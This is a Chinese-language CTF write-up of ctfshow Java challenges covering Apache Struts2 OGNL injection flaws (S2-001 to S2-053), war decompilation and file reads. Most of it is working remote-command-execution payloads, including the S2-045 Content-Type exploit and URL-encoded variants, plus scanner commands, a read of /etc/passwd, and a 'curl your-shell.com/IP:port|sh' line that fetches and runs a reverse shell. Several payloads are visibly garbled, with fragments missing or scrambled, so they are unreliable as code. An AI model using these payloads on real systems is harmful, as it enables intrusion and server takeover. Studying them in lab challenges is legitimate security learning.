ctfshow-JAVA 刷题记录
脚本通杀
WEB279-294 296-297
以下题目参考 ——> 文章
全部题都是struts2框架漏洞
脚本通杀 下载 下载链接:https://pan.b类似/aidu.com/s/19yr0tWbG1UU_ULjEan5ttQ 提取码:bn71
具体用法在md文件中,例如
检测
1 | python Struts2Scan.py -u http://94c4c47e-4fb3-408c-97d7-56a5094f84a7.chall.ctf.show/S2-001/login.action |
利用
1 | python Struts2Scan.py -u http://94c4c47e-4fb3-408c-97d7-56a5094f84a7.chall.ctf.show/S2-001/login.action -n S2-001 --exec |
执行命令env即可得到flag
Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架
关于struts2漏洞,vulhub都有环境并且给出了漏洞原理和poc
GitHub项目地址:https://github.com/vulhub/vulhub/tree/master/struts2
判断网站是否基于Struts2的方法
通过页面回显的错误消息来判断,页面不回显错误消息时则无效
通过网页后缀来判断,如.do.action,有可能不准
如果配置文件中常数extension的值以逗号结尾或者有空值,指明了action可以不带后缀,那么不带后缀的uri也可能是struts2框架搭建的
如果使用Struts2的rest插件,其默认的struts-plugin.xml指定的请求后缀为xhtml,xml和json
判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true
这里的话也记录一下我学习java的过程
web279-S2-001
题目
打开源码发现
存在一个路径,然后访问得到
s2-001是一个struts2命令执行漏洞编号,这篇文章给了详细介绍链接
漏洞原理
struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据
这里的话和ssti还有点像,因为就是 %{1+1} 可以生成2 这是个OGNL表达式
这里的话会对下面三个东西进行解释
1 | % 的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值 |
payload
1 | // 获取tomcat路径 |
这里的话虽然payload看不懂什么意思,但是得把里面一些东西进行研究研究
“@” Java中的特殊符号——注解(Java中’@‘符号是什么意思?)
也可以利用工具进行解题
web280-S2-005
题目
漏洞原理
先来了解下S2-003
Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果
影响版本:Struts 2.0.0 - Struts 2.0.11.2
再看S2-005,参考链接
S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003
影响版本:Struts 2.0.0 - Struts 2.1.8.1
这题的话是利用工具来解题的
查漏洞
1 | python Struts2Scan.py -u http://d6000b7a-d2b5-47b4-8133-e503ee337f51.challenge.ctf.show/S2-005/example/HelloWorld.action |
利用网上的工具得出确实是存在S2-005漏洞
那么直接利用工具打就行了。
利用漏洞进行命令执行
1 | python Struts2Scan.py -u http://33f274f4-42ec-4646-a3e0-5670b693959b.challenge.ctf.show/S2-005/example/HelloWorld.action -n S2-005 --exec |
然后输入env就可以看到flag了。
web281-S2-007
漏洞原理
当配置了验证规则
<ActionName>-validation.xml
时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回影响版本:Struts2 2.0.0 - Struts2 2.2.3
执行任意代码poc
1 | ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + ' |
在id处修改命令就行
在age处可以进行输出。
然后把id修改成env就可以看到flag了。
用工具其实也是可以的
查漏洞
1 | python Struts2Scan.py -u http://016b938b-1b04-4939-bfbf-d66ff6df2ccf.challenge.ctf.show/S2-007/user.action |
但是利用工具来看的话这里不是s2-007漏洞,有点奇怪。
web282-S2-008
题目
漏洞原理
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的
姿势1
虽然在struts2没有对恶意代码进行限制,但是java的webserver(Tomcat),对cookie的名称有较多限制,在传入struts2之前就被处理,从而较为鸡肋
1 | Cookie:('#_memberAccess.setAllowStaticMethodAccess(true)')(1)(2)=Aluvion; ('@java.lang.Runtime@getRuntime().exec("calc")')(1)(2)=Twings; |
没测试成功。
姿势2
开启了调试模式,但是调试模式中存在 OGNL 表达式注入漏洞
1 | devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C .apache.commons.io.IOUtils %28 .lang.Runtime %28%29.exec%28%27env%27%29.getInputStream%28%29%29) |
想要修改啥,还是把env换掉就行。
这题也是可以利用工具进行求解
web283-S2-009
题目
提示:Struts2 showcase远程代码执行漏洞
测试环境是一个struts2的“功能展示”网站Struts Showcase
,代码很多,我们的目标是去找一个接受了参数,参数类型是string的action
url/S2-009/ajax/example5.action
即可访问控制器
写入payload后,会自动下载一个example.action文件,然后打开
那么我们就只需要修改payload里的whoami换成env就能拿到flag了
这里的话也可以使用工具
但是工具只能查出是哪个漏洞,但是这个工具不支持漏洞利用
web284-S2-012
题目
由题目可知这是个编号为S2-012的漏洞
漏洞原理
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:
1 | <package name="S2-012" extends="struts-default"> |
这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行
影响版本: 2.1.0 - 2.3.13
payload
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
执行后会下载一个文件,然后只需要修改一下执行命令(env)就可以拿到flag了。
web285-S2-013
题目
漏洞原理
1 | Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下: |
poc
1 | ${(#_memberAccess["allowStaticMethodAccess"]=true,#a= .lang.Runtime .exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out= .apache.struts2.ServletActionContext .getWriter(),#out.println(#d),#out.close())} |
S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强
这里的话还是env 但是得把poc进行url全编码
payload
1 | http://4e4c3c86-4fbd-4809-8809-8fffe7c3461d.challenge.ctf.show/S2-013/link.action?a=%24%7B%28%23%5F%6D%65%6D%62%65%72%41%63%63%65%73%73%5B%22%61%6C%6C%6F%77%53%74%61%74%69%63%4D%65%74%68%6F%64%41%63%63%65%73%73%22%5D%3D%74%72%75%65%2C%23%61%3D%40%6A%61%76%61%2E%6C%61%6E%67%2E%52%75%6E%74%69%6D%65%40%67%65%74%52%75%6E%74%69%6D%65%28%29%2E%65%78%65%63%28%27%65%6E%76%27%29%2E%67%65%74%49%6E%70%75%74%53%74%72%65%61%6D%28%29%2C%23%62%3D%6E%65%77%20%6A%61%76%61%2E%69%6F%2E%49%6E%70%75%74%53%74%72%65%61%6D%52%65%61%64%65%72%28%23%61%29%2C%23%63%3D%6E%65%77%20%6A%61%76%61%2E%69%6F%2E%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2C%23%64%3D%6E%65%77%20%63%68%61%72%5B%35%30%30%30%30%5D%2C%23%63%2E%72%65%61%64%28%23%64%29%2C%23%6F%75%74%3D%40%6F%72%67%2E%61%70%61%63%68%65%2E%73%74%72%75%74%73%32%2E%53%65%72%76%6C%65%74%41%63%74%69%6F%6E%43%6F%6E%74%65%78%74%40%67%65%74%52%65%73%70%6F%6E%73%65%28%29%2E%67%65%74%57%72%69%74%65%72%28%29%2C%23%6F%75%74%2E%70%72%69%6E%74%6C%6E%28%23%64%29%2C%23%6F%75%74%2E%63%6C%6F%73%65%28%29%29%7D |
web286-S2-015
题目
漏洞原理
1 | 漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如: |
上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / “ \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功
还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess[‘allowStaticMethodAccess’]=true 来修改其值达到重获静态方法调用的能力
影响版本: 2.0.0 - 2.3.14.2
测试漏洞
poc
1 | ${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q= .apache.commons.io.IOUtils ,#q}.action |
得要url全编码并且将id改为env
web287-S2-016
题目
漏洞原理
1 | 在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令 |
poc
执行命令
1 | redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22env%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D |
web288-S2-019
题目
漏洞原理
1 | 动态方法调用的默认启用,原理类似于s2-008 |
poc
1 | ?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println(new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close() |
与s2-008poc区别不同的仅仅是由原先的[“allowStaticMethodAccess”]=true静态方法执行改为(new java.lang.ProcessBuilder(‘id’)).start(),但该方法在虚空浪子心提出s2-012后不久就在博客里说明了官方修补方案将allowStaticMethodAccess取消了后的替补方法就是使用ava.lang.ProcessBuilder
影响版本:Struts 2.0.0 - Struts 2.3.15.1
这里的话和web286一样,得进行shell反弹,现在还不会,先留着。
web289-S2-029
题目
漏洞原理
1 | Struts框架被强制执行时,对分配给某些标签的属性值进行双重评估,因此可以传入一个值,当一个标签的属性将被渲染时,该值将被再次评估 |
poc
1 | default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true, .apache.commons.io.IOUtils ) |
这题也要弹shell
web290-S2-032
题目
漏洞原理
1 | Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞 |
poc
1 | ?method:%23_memberAccess%3d .OgnlContext ,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner( .lang.Runtime .exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id |
web291-S2-033
题目
漏洞原理
1 | 当开启动态方法调用,并且同时使用了Strut2 REST Plugin插件时,使用“!”操作符调用动态方法可能执行ognl表达式,导致代码执行 |
poc
1 | /orders/4/%23_memberAccess%3d .OgnlContext ,%23xx%3d123,%23rs%3d .apache.commons.io.IOUtils ,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=id |
web292-S2-037
题目
漏洞原理
1 | 当使用REST插件启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式 |
poc
1 | /orders/3/%23_memberAccess%3d .OgnlContext ,%23xx%3d123,%23rs%3d .apache.commons.io.IOUtils ,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=whoami |
web293-S2-045
题目
漏洞原理
1 | 在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵 |
poc
1 | Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" boundary=----WebKitFormBoundaryXx80aU0pu6vrsV3z |
还是得需要反弹shell
web294-S2-046
题目
漏洞原理
1 | 与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用\x00截断 |
由于需要发送畸形数据包,简单使用原生socket编写payload
1 | import socket |
web295-S2-048
题目
漏洞原理
1 | 漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用 |
以第一个参数为攻击点,在其执行OGNL语法,${10-7},点击submit
成功执行了
借用S2-045的沙盒绕过方法,改了一个POC。将如下POC填入表单Gengster Name
中,提交即可直接回显命令执行的结果
1 | %{(#dm='com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance( .opensymphony.xwork2.ognl.OgnlUtil )).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q= .apache.commons.io.IOUtils ).(#q)} .OgnlContext ).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[ |
也可以使用s2-045poc,抓包修改content-type
1 | %{(#dm='com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance( .opensymphony.xwork2.ognl.OgnlUtil )).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=( .lang.System .toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=( .apache.struts2.ServletActionContext .getOutputStream())).( .apache.commons.io.IOUtils ).(#ros.flush())} .OgnlContext ).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[ |
web296-S2-052
题目
漏洞原理
还是得用工具,但是得反弹shell,因为env太长了,有长度限制,只输出半截
这里的话得需要s2-045漏洞
web297-S2-053
题目
漏洞原理
1 | Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞 |
poc
1 | %{(#dm='com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance( .opensymphony.xwork2.ognl.OgnlUtil )).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=( .lang.System .toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).( .apache.commons.io.IOUtils )} .OgnlContext ).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[ |
还是得反弹shell.
就是先利用工具,查找存在哪些漏洞,然后就去利用执行这个漏洞,然后就输入下面的curl命令就可以了。
1 | curl https://your-shell.com/你的公网ip冒号你的开放端口空格|sh |
这就是反弹shell的方法,其实还有很多种语言的反弹shell的方法
your-shell ——>这个是反弹工具网址
在b站的 反弹shell讲解
web298-反编译
题目
题目附件一个war包
1 | jar包和war包都可以看成压缩文件,都可以用解压软件打开,jar包和war包都是为了项目的部署和发布,通常在打包部署的时候,会在里面加上部署的相关信息。这个打包实际上就是把代码和依赖的东西压缩在一起,变成后缀名为.jar和.war的文件,就是我们说的jar包和war包。但是这个“压缩包”可以被编译器直接使用,把war包放在tomcat目录的webapp下,tomcat服务器在启动的时候可以直接使用这个war包。通常tomcat的做法是解压,编译里面的代码,所以当文件很多的时候,tomcat的启动会很慢。 |
使用工具Java decompiler反编译class文件
查看源码发现两个函数,只要username=admin&password=ctfshow的话,这个函数就会返回true,然后就会打印flag.
web299-文件读取
题目
发现了一个题目给的注释,然后去尝试了一下发现是可以进行文件读取的。
这里的话给的是php,但是在java中,默认的文件应该是index.jsp
去读WEB-INF/web.xml,发现存在con.ctfshow.servlet.GetFlag
这个路径是根据上一题的java文件得出的 一般来说 web.xml都是在这个路径下
这里的 web.xml 可以看这篇文章来进行学习学习 文章
进行 web.xml的读取
然后进行读取WEB-INF/classes/com/ctfshow/servlet/GetFlag.class,因为是class文件字符有点乱,发现fl3g
这里为什么是这个路径的话,是因为上一题的java压缩包里的路径,然后就根据其推断出。
但是 是不是所有的默认文件都是这个路径的话我就不知道了,因为刚开始学java
发现这个flag所在的文件
然后进行读取
web300-文件读取
题目
1 |
|
解题方法和上题一样,
java漏洞就大概了解完了,那么我们就开始去学习java反序列化,边做题边学习java了。
以上的题目如果输入env只出来半截的,可以去看我写的web297的题解